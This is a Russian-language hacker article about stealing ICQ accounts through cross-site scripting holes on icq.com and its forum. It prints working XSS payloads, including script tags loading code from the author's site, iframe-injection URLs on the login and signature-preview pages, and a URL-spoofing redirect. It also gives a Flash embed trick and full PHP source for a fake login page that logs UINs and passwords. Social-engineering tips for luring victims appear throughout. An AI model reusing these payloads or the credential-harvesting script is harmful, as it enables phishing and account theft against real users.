Имеем
пользователей icq.com |
Как я угоняю уины через дыры в icq.com Как
известно, большинство сайтов в Сети являются уязвимыми.
И не обязательно это обычные домашние странички: нередко
баги можно встретить даже у таких гигантов, как
Майкрософт, NASA и ICQ. Хотя администраторы и научились
защищать свои творения от php-инклудов и sql-инъекций,
CSS дыры как были, так и остаются. А все оттого, что, по
мнению многих глупых админов, через CSS ничего
серьезного сотворить нельзя. Надеюсь, моя статья сегодня
развеет это приевшееся мнение. Я расскажу, как я угоняю
icq-уины через баг на сайте icq.com.
[intro]
Это была поистине удачная неделя: sql-инъекция на
одном из сайтов NASA, дыры во phrack.org и еще масса
завораживающих воображение найденных уязвимостей. Вот
оказывается, какое вдохновение находит на человека,
когда вся его родня на неделю сваливает на дачу. В
общем, творческий рай для хакера :).
Итак, история эта началась, как не удивительно,
ночью. Сидел я и изучал новый установленный icq-клиент
qip, и переметнуло меня на поиск багов в самом главном
серванте всех айсикьюшников - icq.com. Давно собирался,
честно говоря, но начал именно после знакомства с новым
клиентом.
[CSS через icq клиент]
На сайте icq можно просмотреть профайл любого
пользователя, зарегистрированного в системе. При этом
можно посмотреть его аватарку, личные данные, и даже
накатать ему сообщение. Ну, ты знаешь. К примеру,
профайл моего бывшего уина 559822, находится по адресу:
www.icq.com/whitepages/wwp.php?to=559822. Копаясь в
клиенте, меня осенило: а что если осуществить
межсайтовый скриптинг на этой странице? Вопрос: «Как?»
Ответ: «Очень просто». В настройках пользователя
клиента, вводим данные, они загружаются на сайт и
отображаются (срабатывают) на странице профайла. В
принципе все легко, но оказалось, что есть всего два
уязвимых параметра: «Имя» и «Фамилия». Поле «Ник»
отбросим: он нам не интересен :). Но тут еще один облом:
ограничение на количество вводимых символов. Поэтому для
локального алерта, к примеру, пришлось прибегнуть к той
штуке, которую ты видишь на скрине под номером 1. То
есть вбить в поле «Имя» первую часть элементарного
скрипта, а завершающую часть разместить в поле
«Фамилия».
Казалось бы, что тут можно придумать с такими
ограничениями. Но мне посчастливилось найти еще один
уязвимый параметр, в котором количество вводимых
символов было равно 80 - это «Домашняя страница». Правда
с этим параметром будь осторожней: у меня так забанилось
несколько уинов. Хотя вполне возможно, что это не бан, а
просто qip сходит с ума. Точно не знаю, но уины ушли
навсегда :(.
Для чего это можно использовать? К примеру, можно
уводить чужие уины, ну, или в крайнем случае, можно
здорово поприкалываться. Скажем, можно разместить в
собственном профайле скрипт редиректа на свой сайт и
стебаться над удивлением людей, заходящих посмотреть
профайл :). Вот так, как у меня, полюбуйся: www.icq.com/whitepages/wwp.php?to=559822
[дырки на форуме сайта icq.com]
В чем нам очень повезло, так это в том, что на
icq.com практически все сервисы находятся в одном
поддомене. Следовательно, шансы найти подходящую дыру и
увести нужные кукисы заметно подрастают :). |
Продолжая свои исследования, я залез на форум.
Авторизация проще некуда, что меня очень обрадовало. Для
авторизации нужно ввести в поле «Логин» свой уин или
примари, в поле «Пароль» - свой пароль к уину (который,
как ты понимаешь, очень часто подходит и к примари). Уже
интересно, теперь осталось только найти CSS дырку в
форуме. Скажу честно, я чуть со смеху не умер после
первого теста на CSS. Даже не успел копнуть bb-тэги, как
уязвимый параметр был найден. Им оказалось поле Subject
при ответе в теме. В режиме preview ничего не
фильтровалось, что уже предвещало большие возможности.
Проверив на себе действие составленного скриптового
сплоита (пока локального): "><script>alert(document.cookie)</script>,
на моем лице появилась улыбка.
Я словил собственные кукисы, которые выглядели, как
показано на рисунке 3.
Таким образом, я убедился в том, что все проходит
более-менее успешно. Но при окончательном посте
сообщения, просмотрев сорс страницы, я увидел, что
фильтруется любое проявление слэшей и двойных кавычек:
title=""><script src=http://my_site/1.js></script>">………"
>"><script src=http://my_site/1.js></sc...</a>
Планы рушатся. Максимум, что тут можно сделать -
вставить алерт, например: <img src=javascript:alert('Pink_cool')>,
но ничего более серьезного отсюда не выжать. Не помог
обход фильтрации и разнообразная перекодировка слэша и
кавычек.
[новая маза]
Тут я заметил одну штуку: если кликнуть на название
своего поста или просмотреть список всех своих постов,
можно словить вставленную CSS. Меня такое не устраивало,
тем более, что второй параметр в заголовке сообщения
полностью фильтровался, и поэтому над своим ником я
видел отображенный скрипт, по которому и стоило кликать
:).
Пришлось начать поиски других уязвимостей. Оставив в
покое «Ответ в тему с цитированием», я нажал кнопку
«Начать новую тему». Вот тут, в режиме preview, в поле
Subject/Question не работал ни один скрипт, все жестко
фильтровалось. Немного отчаявшись, я все же запостил
тему. В списке всех тем, в разделе, я увидел, что мой
скрипт выдает себя с головой. Ну что ж, работают
фильтры.
Я автоматом кликнул на тему, началась загрузка, и, о
чудо, скрипт сработал! Никаких фильтров внутри темы не
оказалось и нужная активная CSS была найдена. Конечно,
очень обламывало, что в списке тем моя сильно палилась,
названием которой выступал мой скриптовый сплоит. Но с
этим, к сожалению, ничего не поделать, ведь даже при
переводе его в другую кодировку, чтоб хоть немного
запутать пользователей, скрипт в теме работать не хотел.
Такая вот забавная фильтрация, и такие вот глупые
админы. Но, как ты понимаешь, красть кукисы смысла нет,
так как в чистом виде мы получаем только уин (примари) и
ник, но не пароль, а вытягивать его, например, из сессии
нереально, так как скорее всего ее идентификатор никак
не связан с паролем. |
Можно было бы поэкспериментировать с подстановкой
чужих куков (это если вдруг к сессии не был привязан
айпи настоящего пользователя), но меня даже на
эксперимент эта идея не вдохновила. Единственное, что я
мог получить, - это доступ в чужой личный кабинет
(именно форумный) и возможность постить сообщения от
другого пользователя. Каким-либо образом узнать или
сменить пароль/инфу через профайл было невозможным,
поэтому я пошел другим путем - путем прямой кражи
паролей через фейк-страницы авторизации. Еще, забыл
сказать, при посте сообщения, рядом со своей аватаркой,
мы имеем 2 ссылки, одна из которых ведет в профайл,
указанный в самом начале статьи, а другая, в профайл,
находящийся примерно по следующему адресу: www.icq.com/whitepages/about_me.php?uin=559822.
Само собой, этот профайл тоже дырявый :).
[идея и дальнейшие исследования]
Идея моя выглядела так: в форум кидаем сообщение со
скриптом, редиректящим пользователя попавшего под
воздействие этой CSS на страницу с фейком, расположенным
на моем сайте, который выглядит, как главная страница
авторизации на форуме. Пользователь вводит свои данные и
переходит опять на форум, тем временем, все введенные им
данные сохраняются у меня. Но одно дело сказать…. Ведь
пользователь сразу спалит подделку, если в адресной
строке браузера будет написано что-то типа: http//panterka-zloy-hacker.h15.ru/razvod.php.
Тут можно было пойти 2-мя путями: или использовать для
обмана url spoofing, или найти еще одну пассивную
уязвимость (желательно на странице авторизации на форум)
и встроить в нее iframe, через который отображался бы
мой фейк.
Я сбегал в ночной магазин за двумя бутылочками пивка
и принялся искать новые CSS. Прошло 15 мин, и уже было
выделено 3 пассивных уязвимости, одна из которых,
находилась именно в странице авторизации. Вот ее url с
уже встроенным опасным скриптом:
www.icq.com/karma/login_page.php?dest=http%3A%2F%2Fwww.icq.com%2Fboards%2F&sv=2&css=boards.css"><iframe%20src=http://my_site/login.php%20height=100%%20width=100%%20scrolling=no%20frameborder=0>
Теперь, переведя особо палевные моменты в uri
кодировку, получим:
www.icq.com/karma/login_page.php?dest=http%3A%2F%2Fwww.icq.com%2Fboards%2F&sv=2&css=boards.css%22%3E%3Ciframe%2520src%3Dhttp%3A%2F%2Fmy_site%2Flogin.php%2520height%3D100%25%2520width%3D100%25
Как видишь, я создал ифрейм, в котором будет
отображаться наш фейк, расположенный на моем сайте,
но…на данной странице (www.icq.com/karma/login_page.php)
оказалось целых 3 уязвимых параметра, а это означает,
что мы будем видеть целых три 100% ифрейма,
отображающихся сверху вниз. Конечно, не все это заметят,
но, не желая рисковать, пришлось взять другую уязвимость
- в форумном поисковике:
www.icq.com/icq_preferences/sig_preview.php?sig=<script>alert(document.cookie)</script>
Тут меня тоже ждала неудача - ограничение на
количество вводимых символов. В итоге, я остановился на
3 CSS. Вот ее url с уже оформленным iframe. Опять же,
зашифровав все лишнее и некрасивое, получим: |
www.icq.com/icq_preferences/sig_preview.php?sig=%3Ciframe+src%3Dhttp%3A%2F%2Fmy_site%2Flogin.php+height%3D100%25+width%3D100%25+scrolling=no+frameborder=0%3E
Все прошло успешно, скрипт лишь немного палится в title
страницы, но, в принципе, все отлично.
Для общего развития я решил рассмотреть еще один
вариант обмана - url spoofing. Эта идея уже
рассматривалась в журнале, а именно №3 2004, стр.64, так
что особых сложностей у тебя вызвать не должна. Для
осуществления подставы, надо чтоб у жертвы в браузере
сработал такой вот код:
<script>location.href=unescape('http://www.icq.com|login.php%01@www.my_site/login.php');</script>
Браузером должен быть не обновленный осел. К
сожалению, в первом адресе скрипта, нельзя использовать
слэши, поэтому пришлось довольствоваться вертикальной
чертой. Хотя, возможно, ты придумаешь, что-нибудь
покрасивее :).
[а теперь о самом фейке]
А тут, вообще, ничего сложного. Просто сохраняем
страницу авторизации на винт и немного правим, а именно
- изменяем параметр action, указывая вместо
www.icq.com/karma/login.php свой файл check.php. Сам же
check.php будет выглядеть так:
check.php
<?php
$fp=fopen("logi.html", "a"); //открываем файл
logi.html для дозаписи в конец файла
fwrite($fp, "$uin_email : $password<br/>"); //дозаписываем
связку уин (примари):пароль
fclose($fp); //закрываем файл
header("location:http://icq.com/boards/");
//редиректим на главную страницу форума
?>
Теперь зальем эти 2 файла, а также файл logi.html, на
сайт с поддержкой php (в данном случае это мой сайт -
my_site). Вот и все, фейк готов! Не забудь только
выставить правильный chmod.
[собираем все воедино]
Так как уязвимый параметр Subject/Question не
принимал более 55 знаков, пришлось прибегнуть к одной
хитрости. В форуме я создал тему с заголовком "><script
src="http://my_site/1.js"></script>.
Потом создал файл 1.js, в который поместил такую вот
строку:
location.href=unescape('http://www.icq.com|login.php%01@www.my_site/login.php');
или для работы с ифреймом:
location.href='http://www.icq.com/icq_preferences/sig_preview.php?sig=%3Ciframe+src%3Dhttp%3A%2F%2Fmy_site%2Flogin.php+height%3D100%25+width%3D100%25+scrolling=no+frameborder=0%3E';
Размещенный на форуме сплоит грузил с моего сайта
скрипт 1.js, который, в свою очередь, редиректил всех,
кто находился на данной странице форума, на мой фейк.
Пользователь-жертва, думал, что это глюк форума и заново
авторизировался, тем самым, оставляя мне свои уины/примари
и пароли, и после попадал обратно на доску как ни в чем
не бывало.
Вот и все. Теперь задача стоит над тем, как удержать
украденные уины у себя, но зная уин/примари и пароль,
это уже не проблема :).
[самый дырявый сайт года :)]
Пока писал статью, в закрытых и паблик разделах
античата начался глобальный поиск багов в icq.com, и уже
сейчас там есть очень интересные разработки (множество
пассивных CSS, дырки, позволяющие угнать айсикьюшное
мыло и т.д.). В то же время, когда статья уже была
дописана, мной было найдено еще несколько CSS на icq.com.
Так что делай выводы и продолжай исследования. |
Как видишь, скрипт, помещенный в форум, выдает себя
с головой, что немного портит наши планы (но даже
несмотря на это, мне везло, и уины сами шли ко мне в
лапы :)). Но не опускай руки, ведь что мешает просто
кинуть ссылку в форум и заставить пользователя пройтись
по ней или отправить форумчанину сообщение с этой
ссылкой. Но помни, что результат полностью зависит
только от тебя, так как тут без хороших навыков
социального инженеринга не обойтись. Можно также
поместить вредоносные скрипты в свой профайл, а потом
просто гулять по форуму и творить беспредел. Как
минимум, 5 пользователей из 10 да заглянет к тебе в
профайл, прежде чем уин забанят :). Flash-CSS атака
Иногда провести CSS-атаку стандартными методами
невозможно. В таком случае тебе может помочь очень
простой и интересный способ. Я говорю про флеш-атаку.
Для этого тебе потребуется создать во Flash-редакторе
какую-то картинку и в параметр getURL вписать ссылку, к
примеру, с редиректом на фейк через пассивную CSS (См.
скрин.). После, в поле Subject, надо прописать: <embed
src=http://my_site/1.swf>.
WWW
Заходи чаще на antichat.ru, и ты будешь в курсе всех
событий, связанных с различного рода инъекциями. Также,
если тебе что-нибудь непонятно, или есть какие-нибудь
вопросы, ты всегда сможешь найти меня на сайтах:
hackzona.ru и antichat.ru. Обращайся, постараюсь помочь.
INFO
Пока я экспериментировал с форумом, мне пришел
мессадж от админа или модера форума, но так как я его не
сохранил, не запомнил. Просто приведу по памяти его
очень стебное содержание.: «Здравствуй, дорогой.
Посмотри, что ты наделал в форуме своими скриптами. Если
хочешь посмотреть, пройдись по ссылке
http://icq.com/boards/моя_тема_где_я_напортачил, а
если не хочешь, пройдись сюда: www.icq.com» Такой вот
ЛОЛ. Стебаться - не перестебаться :).
WARNING
Все то, что написано в статье, а также все мои советы
противозаконны и могут преследоваться УК твоей страны.
Автор и редакция не несут ответственности за твои
подвиги :). |
(Администратор не несет ответственности (Автор Денис
Евгеньевич)
|